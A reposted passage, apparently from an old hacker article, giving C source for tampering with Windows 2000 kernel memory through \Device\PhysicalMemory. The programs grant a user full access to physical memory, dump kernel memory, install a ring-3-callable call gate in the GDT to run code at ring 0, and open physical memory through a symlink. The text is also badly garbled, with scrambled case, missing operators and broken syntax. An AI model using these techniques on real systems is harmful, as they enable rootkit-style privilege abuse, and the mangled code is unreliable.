TypedEf long NTSTATUS;

#define status_success (ntstatus) 0x00000000L

#define status_access_denied (ntstatus) 0xc0000022L

#define make_dword (_l, _h) (dword) (_L | (_H << 16))

Typedef struct _object_attributes {

Ulong Length;

Handle rootdirectory;

Punicode_String ObjectName;

Ulong attributes;

PVOID SecurityDescriptor;

Pvoid ​​SecurityQualityOfService;

} Object_attributes, * pobject_attribute;

// USEful Macros

#define InitializeObjectttributes (p, n, a, r, s) {/

(p) -> Length = sizeof (object_attributes); /

(p) -> rootdirectory = r; /

(p) -> attributes = a; /

(p) -> Objectname = n; /

(p) -> securityDescriptor = s; /

(p) -> securityQualityofService = null; /

}

#define init_Unicode (_VAR, _Buffer) /

Unicode_string _var = {/

Sizeof (_buffer) - Sizeof (Word), /

Sizeof (_buffer), /

_buffer}

// Callgate Info

Typedef struct _kgdtenTry {

Word LimitLow;

Word baselow;

Word Basehigh;

} KGDTENTRY, * PKGDTENTRY;

Typedef struct _callgate_descriptor {

USHORT OFFSET_0_15;

Ushort selector;

Uchar param_count: 4;

Uchar Some_bits: 4;

Uchar Type: 4;

Uchar app_system: 1;

Uchar DPL: 2;

Uchar present: 1;

Ushort offset_16_31;

} CallGate_Descriptor, * pcallgate_descriptor; // section info

Typedef Large_integer Physical_Address, * pphysical_address;

Typedef enum _section_inherit {

Viewshare = 1,

ViewUnmap = 2

} Section_inherit;

Typedef struct _mapping {

/ * 000 * / physical_address paddress;

/ * 008 * / pvoid vaddress;

/ * 00c * / DWORD OFFSET;

/ * 010 * /} mapping, * pmapping;

// Symlink Info

#define symbolic_link_query (0x0001)

#define symbolic_link_all_access (Standard_Rights_Required | 0x1)

// Process Info

// flink to _eprocess

#define to_eprocess (_A) ((DWORD) _A - 0xA0)

// Flink to uniqueProcessID

#define to_pid (_A) (DWORD) _A - 0x4)

// Flink to ImageFileName

#define to_pname (_A) (PCHAR) ((DWORD) _A 0x15C)

Typedef struct _dispatcher_header {

/ * 000 * / uchar type;

/ * 001 * / uchar absolute;

/ * 002 * / uchar size;

/ * 003 * / uchar inserted;

/ * 004 * / long signalstate;

/ * 008 * / list_entry waitlisthead;

/ * 010 * /} dispatcher_header DISPATCHER_HEADER;

Typedf struct _kevent {

/ * 000 * / dispatcher_header header;

/ * 010 * /} KEVENT, * PKEVENT

Typedef struct _fast_mutex {

/ * 000 * / long count;

/ * 004 * / PVOID OWNER;

/ * 008 * / ulong contention;

/ * 00c * / kevent event;

/ * 01c * / Ulong Oldirql;

/ * 020 * /} FAST_MUTEX, * PFAST_MUTEX;

// The Two Following Definition Come from W2K_DEF.H by Sven B. Schreiber

Typedef struct _mmsupport {

/ * 000 * / large_integer lasttrimtime;

/ * 008 * / DWORD LASTTRIMFAULTCOUNT;

/ * 00c * / dWord PageFaultCount;

/ * 010 * / DWORD peakworkingsetsize;

/ * 014 * / DWORD WORKINGSETSIZE

/ * 018 * / DWORD minimumworkingsetsize;

/ * 01C * / DWORD MAXIMUMWORKINGESTSIZE

/ * 020 * / pvoid vmworkingsetlist;

/ * 024 * / list_entry workingseTexpansionLinks;

/ * 02c * / boolean allowworkingsetadjustment;

/ * 02D * / boolean addresssspacebeingdeeled;

/ * 02E * / byte foregroundswitchcount; / * 02f * / byte memorypriority

/ * 030 * /} MMSupport, * PMMsupport;

Typedef struct _io_counters {

/ * 000 * / ulonglong readopertod;

/ * 008 * / ulonglong writeOperationcount;

/ * 010 * / ulonglong otherperationcount;

/ * 018 * / ulonglong readtransfercount;

/ * 020 * / ulonglong WriteTransfercount;

/ * 028 * / ulonglong OthersferCount;

/ * 030 * /} IO_COUNTERS, * PIO_COUNTERS;

// this is a very simplified version of the eprocess

// structure.

Typedef struct _eprocess {

/ * 000 * / byte pcb [0x6c];

/ * 06C * / NTSTATUS EXITSTATUS;

/ * 070 * / kevent lockvent;

/ * 080 * / DWORD LOCKCOUNT;

/ * 084 * / DWORD DW084;

/ * 088 * / large_integer createtime;

/ * 090 * / large_integer exittime;

/ * 098 * / PVOID LOCKOWNER;

/ * 09c * / DWORD UNIQUEPROCESSID;

/ * 0A0 * / LIST_ENTRY ACTIVEPROCESSLINKS; // See PsactiveListhead

/ * 0A8 * / DWORD quotapeakpoolusage [2]; // np, p

/ * 0B0 * / DWORD quotapoolusage [2]; // np, p

/ * 0B8 * / DWORD PAGEFILEUSAGE;

/ * 0BC * / DWORD COMMITCHARGE;

/ * 0c0 * / DWORD peakpagefileusage;

/ * 0C4 * / DWORD peakvirtualsize;

/ * 0c8 * / large_integer virtualsize;

/ * 0D0 * / mmsupport vm;

/ * 100 * / list_entry sessionProcessLinks;

/ * 108 * / DWORD DW108 [6];

/ * 120 * / PVOID Debugport;

/ * 124 * / pvoid exceptionport;

/ * 128 * / pvoid objecttable;

/ * 12c * / pvoid token;

/ * 130 * / fast_mutex workingsetlock;

/ * 150 * / dWord workingSetPage;

/ * 154 * / boolean processoutswapenabled;

/ * 155 * / boolean processoutswapped;

/ * 156 * / boolean addresssspaceinitialized;

/ * 157 * / boolean addresssspacedeeted;

/ * 158 * / fast_mutex addresscreationlock

/ * 178 * / kspin_lock hyperspacelock;

/ * 17C * / DWORD forkInprogress;

/ * 180 * / Word vmoperty;

/ * 182 * / Boolean forkwassuccessful;

/ * 183 * / byte mmagressivewstrimmask;

/ * 184 * / DWORD VMOPERATIONEVENT;

/ * 188 * / pvoid paetop; / * 18c * / dword lastfaultcount;

/ * 190 * / dWord modifiedPageCount;

/ * 194 * / pvoid vadroot;

/ * 198 * / pvoid vadhint

/ * 19c * / pvoid cloneroot;

/ * 1A0 * / DWORD NUMBEROFPRIVATEPAGES;

/ * 1A4 * / DWORD NUMBEROFLOCKEDPAGES;

/ * 1A8 * / Word nextPageColor;

/ * 1AA * / Boolean EXITPROCALLED;

/ * 1Ab * / boolean createprocessReport;

/ * 1ac * / handle sectionHandle;

/ * 1B0 * / PVOID PEB;

/ * 1B4 * / PVOID SectionBaseAddress;

/ * 1B8 * / PVOID quotablock;

/ * 1bc * / ntstatus lastthreadexitstatus;

/ * 1c0 * / dWord workingSetWatch;

/ * 1c4 * / handle win32windowstation;

/ * 1c8 * / dword inheritedFromuniqueProcessID;

/ * 1cc * / access_mask grantedAccess;

/ * 1D0 * / dword defaultharderrorprocessing; // HEM_ *

/ * 1D4 * / DWORD LDTINFORMATION;

/ * 1D8 * / pvoid vadfreehint;

/ * 1DC * / DWORD VDMOBJECTS;

/ * 1E0 * / PVOID DeviceMap;

/ * 1e4 * / dWord sessionID;

/ * 1e8 * / list_entry physicalvadlist;

/ * 1F0 * / pvoid pagedirectorypte;

/ * 1F4 * / DWORD DW1F4;

/ * 1F8 * / DWORD paneledirectorypage;

/ * 1FC * / char imagefilename [16];

/ * 20C * / DWORD VMTRIMFAULTVALUE;

/ * 210 * / byte setTimerResolution;

/ * 211 * / byte priorityclass;

/ * 212 * / Word subsystemversion;

/ * 214 * / PVOID WIN32PROCESS;

/ * 218 * / PVOID JOB;

/ * 21C * / DWORD JOBSTATUS;

/ * 220 * / list_entry joblinks;

/ * 228 * / pvoid LockedPageSlist;

/ * 22C * / PVOID securityPort;

/ * 230 * / PVOID WOW64;

/ * 234 * / DWORD DW234;

/ * 238 * / IO_COUNTERS IOCOUNTERS;

/ * 268 * / DWORD commitchargelimit;

/ * 26C * / DWORD commitchargepeaf;

/ * 270 * / list_entry threadlisthead;

/ * 278 * / PVOID VADPHYSICALPAGESBITMAP

/ * 27c * / DWORD VADPHYSICALPAGES;

/ * 280 * / DWORD AWELOCK;

/ * 284 * /} EPROCESS, * PEPROCESS

// Copy Ntdll.lib from Microsoft Ddk to Current Directory

#pragma comment (LIB, "NTDLL")

#define Imp_syscall__declspec (dllimport) NTSTATUS _STDCALLIMP_SYSCALL

NTMapViewOfsection (Handle SectionHandle,

Handle ProcessHandle,

PVOID * baseaddress,

Ulong ZeroBits,

Ulong Commitsize,

Plarge_integer sectionoffset,

Psize_t viewsize,

Section_inherit inheritdisposition,

Ulong AllocationType,

Ulong protect);

IMP_SYSCALL

NTUNMAPVIEWOFSECTION (Handle ProcessHandle,

Pvoid ​​BaseAddress;

IMP_SYSCALL

NTOPENSECTION (Phandle SectionHandle,

Access_mask desiredAccess,

POBJECT_ATTRIBUTES OBJECTATTRIBUTES);

IMP_SYSCALL

NTClose (Handle Handle);

IMP_SYSCALL

NtcreateSymbolicLinkObject (Phandle SymlinkHandle,

Access_mask desiredAccess,

POBJECT_ATTRIBUTES ObjectAttributes,

Punicode_String TargetName);

---- [5.2 CHMOD_MEM.C

#include

#include

#include

#include "../kmem.h"

Void usage (char * n) {

Printf ("USAGE:% s (/ current | / user) [WHO] / N", N);

Printf ("/ current: add all access to current user / n");

Printf ("/ user: add all access to user 'who' / n");

exit (0);

}

INT main (int Argc, char ** argv) {

Handle Section;

DWord res;

NTSTATUS NTS;

Pacl olddacl = null, newdacl = null;

Psecurity_descriptor secondsc = null;

EXPLICIT_ACCESS Access;

Object_attributes obttributes;

INIT_UNICODE (Obname, L "// device // PhysicalMemory);

Bool mode;

IF (Argc <2)

USAGE (Argv [0]);

IF (! Strcmp (Argv [1], "/ Current")) {

Mode = 1;

} else if (! Strcmp (Argv [1], "/ user") && argc == 3) {

Mode = 2;

Else

USAGE (Argv [0]);

MEMSET (& Access, 0, SIZEOF (Explicit_Access));

InitializeObjectAttributes (& Obattributes,

& Obname,

Obj_case_insensitive | obj_kernel_handle,

NULL,

NULL);

// Open Handle de / device / physicalmemorynts = NTOPENSECTION (& section, Write_DAC | Read_Control, & obattributes);

IF (nts! = status_success) {

Printf ("ERROR: NTOPENSECTION (CODE:% x) / N", NTS);

Goto cleanup;

}

// Retrieve a Copy of the security descriptor

Res = GetSecurityInfo (Section, SE_kernel_Object,

DACL_SECURITY_INFORMATION, NULL, NULL, & OLDACL,

NULL, & SecDESC;

IF (res! = error_success) {

Printf ("Error: GetSecurityInfo (CODE:% lu) / n", RES);

Goto cleanup;

}

Access.grfactCpassPermissions = section_all_access; //

Access.grfaccessmode = GRANT_ACCESS;

Access.grfinheritance = no_inheritance;

Access.trustee.multiPletrusteeOperation = no_multiple_trustee;

// Change these Informations to grant access to a group or other user

Access.trustee.trusteeform = trustee_is_name;

Access.trustee.trustetype = trustee_is_user;

IF (Mode == 1)

Access.trustee.ptStrName = "current_user";

Else

Access.trustee.ptstrname = argv [2];

// Create the New ACL

Res = STENTRIESINACL (1, & Access, OldDacl, & newDacl);

IF (res! = error_success) {

Printf ("Error: setENTRIESINACL (CODE:% lu) / n", res);

Goto cleanup;

}

// Update ACL

Res = setsecurityInfo (section, se_kernel_object,

DACL_SECURITY_INFORMATION, NULL, NULL, NewDACL,

NULL);

IF (res! = error_success) {

Printf ("Error: setENTRIESINACL (CODE:% lu) / n", res);

Goto cleanup;

}

Printf ("// device // physicalmemory chmoded / n");

Cleanup:

IF (section)

Ntclose (section);

IF (SECDESC)

Localfree (SECDESC);

Return (0);

}

---- [5.3 WinkDump.c

#include

#include

#include

#include "../kmem.h"

Ulong granularity; // Thanx to kraken for the hexdump function

Void Hexdump (unsigned char * data, unsigned int a) {

Unsigned int DP, P;

Const char trans [] =

"................................! /" # $% & '() * , -. / 0123456789 "

":; <=>? @ AbcdefghijklmnopqrStuvwxyz [//] ^ _` Abcdefghijklm "

"NopQrstuvwxyz {|} ~ ...................................."

"............................................. .... "

"........................................"

For (DP = 1; DP <= Amount; DP ) {

Printf ("% 02x", DATA [DP-1]);

IF ((DP% == 0)

Printf ("");

IF ((DP% 16) == 0) {

Printf ("|");

P = DP;

For (DP - = 16; DP

Printf ("% c", trans [data [dp]]);

Printf ("/ n");

}

}

IF ((Amount% 16)! = 0) {

P = DP = 16 - (Amount% 16);

For (DP = P; DP> 0; DP -) {

Printf ("");

IF (((DP% == 0) && (p! = 8))

Printf ("");

}

Printf ("|");

For (DP = (Amount - (16 - P)); DP

Printf ("% c", trans [data [dp]]);

}

Printf ("/ n");

Return;

}

Physical_address getPhysicalAddress (Ulong Vaddress) {

Physical_address add;

IF (Vaddress <0x80000000l || Vaddress> = 0xA0000000L)

Add.quadpart = (ulonglong) VAddress & 0xFFFF000;

Else

Add.quadpart = (ulonglong) VAddress & 0x1fffFF000;

Return (Add);

}

INT INITSECTION (Phandle Section) {

NTSTATUS NTS;

Object_attributes obttributes;

INIT_UNICODE (Obstring, L "// device // physicalmemory");

InitializeObjectAttributes (& Obattributes,

& Obstring,

Obj_case_insensitive | obj_kernel_handle,

NULL,

NULL);

// Open / device / PhysicalMemory

NTS = NTOPENSECTION (Section,

Section_map_read,

& Obttributes);

IF (nts! = status_success) {

Printf ("* Error Ntopensection (CODE:% x) / n", NTS);

Return (0);

}

Return (1);

}

INT main (int Argc, char ** argv) {

NTSTATUS NTS;

Ulong Address, Size, Mappedsize, Offset

Handle Section;

PVOID MAPPEDADDRESS = NULL;

System_INFO SYSINFO;

Physical_address Paddress;

Printf ("*** win2k memory dumper *** / n / n");

IF (argc! = 3) {

Printf ("USAGE:% s

/ n", argv [0]);

Return (0);

}

Address = Strtoul (Argv [1], NULL, 0);

Mappedsize = size = start (Argv [2], NULL, 10);

Printf ("Virtual Address: 0x% .8X / N", Address;

IF (! size) {

Printf ("Error: Invalid Size / N);

Return (0);

}

// Get Allocation Gran Guity Information

GetSystemInfo (& SysInfo);

Granularity = sysinfo.dwallocationGranularity;

Printf ("Allocation Gran Guity:% lu bytes / n", granularity;

IF (! INITSECTION (& Section))

Return (0);

OFFSET = address% Gran Guity;

MappedSize = Offset; // Reajust mapping view

Printf ("OFFSET: 0x% x / n", OFFSET);

Paddress = getPhysicalAddress (address - offset);

Printf ("Physical Address: 0x% .16X / N", Paddress;

NTS = NTMapViewOfSection (Section, (Handle) -1, & mappedaddress, 0L,

Mappedsize, & Paddress, & mappedsize, viewshare,

0, Page_Readonly;

Printf ("Mapped Size:% Lu Bytes / N", MappedSize;

Printf ("View Size:% lu bytes / n / n", size);

IF (nts == status_success) {

HEXDUMP (CHAR *) MappedAddress offset, size);

NTUNMAPVIEWOFSECTION ((Handle) -1, MappedAddress;

} else {

IF (NTS == 0xc00000F4L)

Printf ("Error: Invalid Physical Address Translation / N"); ELSE

Printf ("Error: NTMapViewOfsection (CODE:% x) / N", NTS);

}

Ntclose (section);

Return (0);

}

---- [5.2 Winkps.c

// Code Very Messy But Working

#include

#include

#include "../kmem.h"

// Get this Address from Win2k Symbols

#define psadd 0x8046a180 // psactiveprocesshead

// default base address for ntoskrnl.exe on Win2k

#define baseadd 0x7ffe0000 // mmgetphysicalAddress

// max process, to prevent easy crashing

#define max_process 50

Typedef struct_my_cg {

Physical_address Paddress;

PVOID MAPPEDADDRESS;

PCallgate_Descriptor DESC;

Word segment;

Word lastentry;

} My_cg, * PMY_CG;

Ulong granularity;

PLIST_ENTRY PSACTIVEPROCESSHEAD = (PLIST_ENTRY) PSADD;

MY_CG GDTMAP;

Mapping Curmap;

Physical_address (* mmgetPhysicalAddress) (PVOID BaseAddress);

Void __declspec (naked) Ring0Func () {

_asm {

Pushhad

Pushf

CLI

Mov ESI, CURMAP.VADDRESS

PUSH ESI

Call MmgetphysicalAddress

Mov Curmap.paddress, EAX // Save Low Part of Large_integer

MOV [Curmap 4], EDX // Save High Part of Large_integer

POPF

Popad

Retf

}

}

// Function Which Call The Callgate

Physical_address NewgetPhysicalAddress (pvoid vaddress) {

Word Farcall [3];

Handle thread = getCurrentThread ();

Farcall [2] = gdtmap.segment;

IF (! Virtuallock ((pvoid) Ring0Func, 0x30)) {

Printf ("Error: Unable to Lock Function / N);

CURMAP.PADDRESS.QUADPART = 1;

} else {

Curmap.vaddress = VADDRESS; // Ugly Way to Pass Argument

Curmap.offset = (dword) VAddress% Gran Guity;

(DWORD) CURMAP.VADDRESS - = CURMAP.OFFSET;

Setthreadpriority (thread, thread_priority_time_critical);

Sleep (0);

_ASM Call fword PTR [farcall]

SetthreadPriority (Thread, Thread_Priority_NORMAL);

VirtualUnlock ((pvoid) Ring0Func, 0x30);

}

Return (CURMAP.PADDRESS);

}

Physical_address getPhysicalAddress (Ulong Vaddress) {

Physical_address add;

IF (Vaddress <0x80000000l || Vaddress> = 0xA0000000L) {

Add.quadpart = (ulonglong) VAddress & 0xFFFF000;

} else {

Add.quadpart = (ulonglong) VAddress & 0x1fffFF000;

}

Return (Add);

}

Void unmapMemory (PVOID MAPPEDADDRESS) {

NTUNMAPVIEWOFSECTION ((Handle) -1, MappedAddress;

}

Int installcallgate (Handle Section, DWORD FUNCTION) {

NTSTATUS NTS;

KGDTENTRY GGDT;

DWORD size;

PCallgate_descriptor cgdesc;

_ASM SGDT GGDT;

Printf ("Virtual Address of GDT: 0x% .8x / N",

Make_dword (ggdt.blelow, ggdt.basehigh);

Gdtmap.paddress =

GetPhysicalAddress (make_dword (ggdt.blelow, ggdt.basehigh);

Printf ("Physical Address of GDT: 0x% .16X / N", gdtmap.paddress.quadpart);

Size = ggdt.limitlow;

NTS = ntmapviewofsection (section, (handle) -1, & gdtmap.mappedaddress,

0L, Size, & gdtmap.paddress, & size, viewshare,

0, Page_Readwrite;

IF (nts! = status_success ||! gdtmap.mappedaddress) {

Printf ("Error: NTMapViewOfsection (CODE:% x) / N", NTS);

Return (0);

}

GDTMap.lastentry = GGDT.LimitLow & 0xFFF8; // Offset to Last Entry

For (cgdesc = (pvoid) ((DWORD) GDTMap.mappedAddress gdtmap.lastentry,

GDTMAP.DESC = NULL;

(DWORD) CGDESC> (DWORD) GDTMap.mappedAddress;

CGDESC - {

// Printf ("Present:% x, Type:% x / n", cgdesc-> present, cgdesc-> type);

IF (cgdesc-> present == 0) {

CGDESC-> Offset_0_15 = (word) (Function & 0xFFF);

CGDESC-> Selector = 8;

CGDESC-> param_count = 0; // 1;

CGDESC-> Some_bits = 0;

CGDESC-> TYPE = 12; // 32-bits callgate junior:> cgdesc-> app_system = 0; // a system segment

CGDESC-> DPL = 3; // Ring 3 Code Can Call

CGDESC-> Present = 1;

CGDESC-> OFFSET_16_31 = (Word) (Function >> 16);

GDTMAP.DESC = CGDESC;

Break;

}

}

IF (gdtmap.desc == NULL) {

Printf ("Error: Unable to Find Free Entry for Installing Callgate / N");

Printf ("NOT NORMAL BY THE WAY .. Your Box Is Strange =] / N");

}

Gdtmap.segment =

((WORD) CGDESC - (DWORD) GDTMap.mappedAddress) | 3;

Printf ("Allocated Segment:% x / n", gdtmap.segment);

Return (1);

}

INT UninstallCallGate (Handle Section, DWORD Function) {

PCallgate_descriptor cgdesc;

For (CGDESC = (PVOID) ((DWORD) GDTMap.mappedAddress gdtmap.lastentry;

(DWORD) CGDESC> (DWORD) GDTMap.mappedAddress;

CGDESC - {

IF ((cgdesc-> offset_0_15 == (word) (Function & 0xFFF))

&& cgdesc-> Offset_16_31 == (word) (Function >> 16)) {

Memset (CGDESC, 0, SIZEOF (Callgate_Descriptor);

Return (1);

}

}

NTUNMAPVIEWOFSECTION ((Handle) -1, GDTMap.mappedAddress;

Return (0);

}

Void unmapvirtualmemory (pvoid vaddress) {

NTUNMAPVIEWOFSECTION ((Handle) -1, Vaddress;

}

Pvoid ​​MapVirtualMemory (Handle Section, Pvoid ​​Vaddress, DWORD SIZE) {

Physical_address Paddress;

NTSTATUS NTS;

DWORD MAPPEDSIZE;

PVOID MAPPEDADDRESS = NULL;

// Printf ("* vaddress: 0x% .8x / n", vedful);

Paddress = NewGetPhysicalAddress ((pvoid) VAddress;

// Printf ("* Vaddress: 0x% .8X (after runking, offset: 0x% x) / N",

// Curmap.vaddress, CURMAP.OFFSET;

// Printf ("* paddress: 0x% .16x / n", paddress;

// Check for error (1 = IMPOSSIBLE VALUE)

IF (paddress.quadpart! = 1) {

Size = CURMAP.OFFSET; // adjust mapping viewmappedsize = size;

NTS = NTMapViewOfSection (Section, (Handle) -1, & mappedAddress,

0L, Size, & Paddress, & mappedsize, viewshare,

0, Page_Readonly;

IF (nts! = status_success ||! mappedsize) {

Printf ("Error: ntmapViewofsection, mapping 0x% .8x (CODE:% x) / N",

Vaddress, NTS);

Return (NULL);

}

Else

Mappedaddress = NULL;

Printf ("Mapped 0x% x Bytes @ 0x% .8x (init size: 0x% x bytes) / N",

Mappedsize, mappedaddress, size);

Return (MappedAddress);

}

Void DisplayProcesses (Handle Section) {

INT i = 0;

DWORD PADDING;

Peprocess Curprocess, NextProcess;

PVOID VCURENTRY, VOLDENTRY, NewMappedAddress

PLIST_ENTRY PSCUR;

// First We map psactiveprocesshead to get first entry

Vcurentry = MapVirtualMemory (Section, PSactiveProcesshead, 4);

IF (! vcurentry)

Return;

PSCur = (PLIST_ENTRY) ((DWORD) Vcurentry Curmap.offset;

// Most of EPROCESS STRUCT ARE LOCATED AROUND 0xFC [E-F] 00000

// SO We map 0x100000 Bytes (~ 1MB) to Avoid Heavy MEM Mapping

While (pscur-> flink! = psactiveprocesshead && i

NextProcess = (peprocess) to_eprocess (pscur-> flink);

// Printf ("==> current process:% x / n", curprocess);

// We map 0x100000 Bytes View So We store offset to eProcess

Padding = TO_EPROCESS (PSCur-> Flink) & 0xFffFf;

// Check if the next struct is already mapped in membrate

IF ((DWORD) Vcurentry <= (DWORD) NextProcess

&& (DWORD) NextProcess SizeOf (EPROCESS) <(dword) vcurentry 0x100000) {

// no need to remap

// no remapping sowe need to calculate the new address

Curprocess = (Peprocess) ((DWORD) NEWMAPPEDADDRESS PADDING);

} else {

Curprocess = NextProcess; // unmap old view and map a new one

// Calculate Next Base Address to map

VoldENTRY = vcurentry;

Vcurentry = (PVOID) (TO_EPROCESS (PSCur-> Flink) & 0xFFF00000);

// Printf ("LINK:% X, Process:% x, TO_MAP:% x, Padding:% X / N",

// pscur-> flink, to_eprocess (pscur-> flink),

// vcurentry, padding);

// unmap old view

Unmapvirtualmemory (VoldENTRY);

VoldENTRY = vcurentry;

// map new view

Vcurentry = MapVirtualMemory (Section, Vcurentry, 0x100000);

IF (! vcurentry)

Break;

// Adjust EPROCESS STRUCTURE POINTER

Curprocess =

(Peprocess) (DWORD) Vcurentry Curmap.offset Padding;

// Save mapped address

NEWMAPPEDADDRESS = Vcurentry;

// restore Pointer from map file 0x4 **** to

// the real virtual address 0xf ********

Vcurentry = voldentry;

}

// REAJUST POINTER TO LIST_ENTRY STRUCT

Pscur = & curprocess-> ActiveProcessLinks;

Printf (" % lu / t% s / n", curprocess-> uniqueprocessid,

Curprocess-> ImageFileName [0]?

Curprocess-> ImageFileName: "[system]");

i ;

}

Unmapvirtualmemory (vcurentry);

}

INT main (int Argc, char ** argv) {

System_INFO SYSINFO;

Object_attributes obttributes;

NTSTATUS NTS;

Handle Section;

HModule HDLL;

INIT_UNICODE (Obstring, L "// device // physicalmemory");

Printf ("*** win2k process lister *** / n / n");

GetSystemInfo (& SysInfo);

Granularity = sysinfo.dwallocationGranularity;

Printf ("Allocation Gran Guity:% lu bytes / n", granularity;

InitializeObjectAttributes (& Obattributes,

& Obstring,

Obj_case_insensitive | obj_kernel_handle,

NULL,

NULL);

HDLL = LoadLibrary ("ntoskrnl.exe");

IF (HDLL) {

MmgetPhysicalAddress = (PVOID) (DWORD) (DWORD) GetProcaddress (HDLL, "MMGETPHYSICALALADDRESS);

Printf ("MMGETPHYSICALADDRESS: 0X% .8x / N", MMGETPHYSICALADDRESS;

Freelibrary (HDLL);

}

NTS = NTOPENSECTION (& section, section_map_read | section_map_write,

& Obttributes);

IF (nts! = status_success) {

IF (nts == status_access_denied)

Printf ("Error: Access Denied to Open

// device // physicalmemory for r / w / n ");

Else

Printf ("ERROR: NTOPENSECTION (CODE:% x) / N", NTS);

Goto cleanup;

}

IF (! installcallgate (section, (dword) ring0func))

Goto cleanup;

MEMSET (& Curmap, 0, Sizeof (mapping);

__Try {

DisplayProcesses (Section);

} __except (uninstallcallgate (section, (dword) ring0func), 1) {

Printf ("Exception: Trying to Clean Callgate ... / N");

Goto cleanup;

}

IF (! UninstallCallgate (section, (dword) ring0func))

Goto cleanup;

Cleanup:

IF (section)

Ntclose (section);

Return (0);

}

---- [5.4 Fun_With_IPD.c

#include

#include

#include

#include "../kmem.h"

Int main () {

NTSTATUS NTS;

Handle Symlink, Section;

Object_attributes obttributes;

INIT_UNICODE (Obname, L "// device // PhysicalMemory);

INIT_UNICODE (ObnewName, L "// ?? // Hack_DA_IPD");

InitializeObjectAttributes (& Obattributes,

& Obnewname,

Obj_case_insensitive | obj_kernel_handle,

NULL,

NULL);

NTS = NTCREATESYMBOLICLICLICOBJECT (& Symlink, Symbolic_Link_all_access,

& Obttributes, & obname);

IF (nts! = status_success) {

Printf ("ERROR: NTCREATESYMBOLICLINKOBJECT (CODE:% X) / N", NTS);

Return (0);

}

NTS = NTOPENSECTION (& section, section_map_read, & ibattribute);

IF (NTS! = status_success) Printf ("Error: NTOPENSECTION (CODE:% X) / N", NTS);

Else {

Printf ("// device // physicalmemory open !!!! / n");

Ntclose (section);

}

// Now you can do what you want

Getch ();

NTClose (Symlink);

Return (0);

}

--[ 6 Conclusion

I hope this article can help you understand the basic Windows core object operation. As far as I know, you can completely follow Linux's / dev / kmem

Do anything like anything, and there is no restriction, it is more than your imagination.

I also hope that this article can let Linux's children read. (Refdom: 嘿)

Thankx To CNS, U-N-F and Subk Dudes, Elicz for Some Help and Finally

Syn / ACK OLDSCHOOL People (Wilmi Power) =]

- [7 - REFERENCES

[1] sysinternals - http://www.sysinternals.com/

[2] Microsoft DDK - www.microsoft.com/ddk/

[3] unofficial ntifs.h - http://www.insidewindows.info/

[4] www.chapeaux-nogrs.org/win/

[5] Intel IA-32 Software Developper Manual - Developer.intel.com

[6] PEDESTAL Software - http://www.pedestalsoftware.com/

[7] Bindview's Razor - razor.bindview.com

[8] Open systems resources - http://www.osr.com/

[9] MSDN - MSDN.Microsoft.com

Books:

* Undocunted Windows 2000 Secrets, a Programmer's Cookbook

(http://www.orgon.com/w2k_internals/)

* INSIDE Microsoft Windows 2000, Third Edition

(http://www.microsoft.com/mspress/books/4354.asp)

* Windows NT / 2000 Native API REFERENCE

转载请注明原文地址:https://www.9cbs.com/read-121595.html

New Post(0)